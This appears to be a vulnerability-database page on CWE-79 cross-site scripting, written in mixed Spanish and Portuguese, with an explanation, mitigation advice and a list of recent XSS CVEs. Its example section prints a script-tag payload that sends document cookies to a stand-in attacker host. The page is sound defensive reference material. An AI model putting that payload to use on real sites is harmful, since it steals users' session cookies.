Fallos del tipo CWE-79

30.537 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-66460MEDIUMLookyloo vulnerable to XSS due to lack of escaping in HTML elements passed to DatatablesEPSS 0.2%CVE-2025-53222HIGHWordPress tagDiv Opt-In Builder plugin <= 1.7.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-61431MEDIUMA reflected cross-site scripted (XSS) vulnerability in the /jsp/gsfr_feditorHTML.jsp endpoint of Zucchetti ZMaintenance Infinity and InfinitEPSS 0.2%CVE-2025-6396MEDIUMXSS in Webbeyaz's web siteEPSS 0.2%CVE-2025-68978MEDIUMWordPress DesignThemes Core plugin <= 1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-7296MEDIUMSourceCodester Pizzafy Ecommerce System ajax.php save_order cross site scriptingEPSS 0.2%CVE-2025-14274MEDIUMUnlimited Elements for Elementor <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Border Hero WidgetEPSS 0.2%CVE-2025-63885MEDIUMA stored cross-site scripting (XSS) vulnerability in AIxBlock commit 04f305 allows attackers to execute arbitrary web scripts or HTML via inEPSS 0.2%CVE-2025-49389MEDIUMWordPress Notice Bar Plugin <= 3.1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-54050MEDIUMWordPress Responsive Addons for Elementor plugin <= 1.7.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-8136MEDIUMSourceCodester Pharmacy Sales and Inventory System index.php users cross site scriptingEPSS 0.2%CVE-2025-54965MEDIUMAn XSS issue was discovered in BAE SOCET GXP before 4.6.0.2. The SOCET GXP Job Status Service does not properly sanitize the job ID parameteEPSS 0.2%CVE-2025-26258MEDIUMSourcecodester Employee Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via 'Add Designation.'EPSS 0.2%CVE-2025-50733MEDIUMNextChat contains a cross-site scripting (XSS) vulnerability in the HTMLPreview component of artifacts.tsx that allows attackers to execute EPSS 0.2%CVE-2025-61933MEDIUMBIG-IP APM cross-site scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-108934MEDIUMEdimax BR-6208AC HTTP Blocking formUrlb cross site scriptingEPSS 0.2%CVE-2025-12083MEDIUMCivicTheme Design System - Moderately critical - Cross-site Scripting - SA-CONTRIB-2025-113EPSS 0.2%CVE-2025-10955MEDIUMHTML Injection in Netcad Software's NetigmaEPSS 0.2%CVE-2026-36358MEDIUMCross Site Scripting vulnerability in Juzaweb CMS v.5.0.0 allows a remote attacker via execute arbitrary code via a crafted script to the AdEPSS 0.2%CVE-2024-45753MEDIUMIn Mahara 23.04.8 and 24.04.4, the external RSS feed block can cause XSS if the external feed XML has a malicious value for the link attribuEPSS 0.2%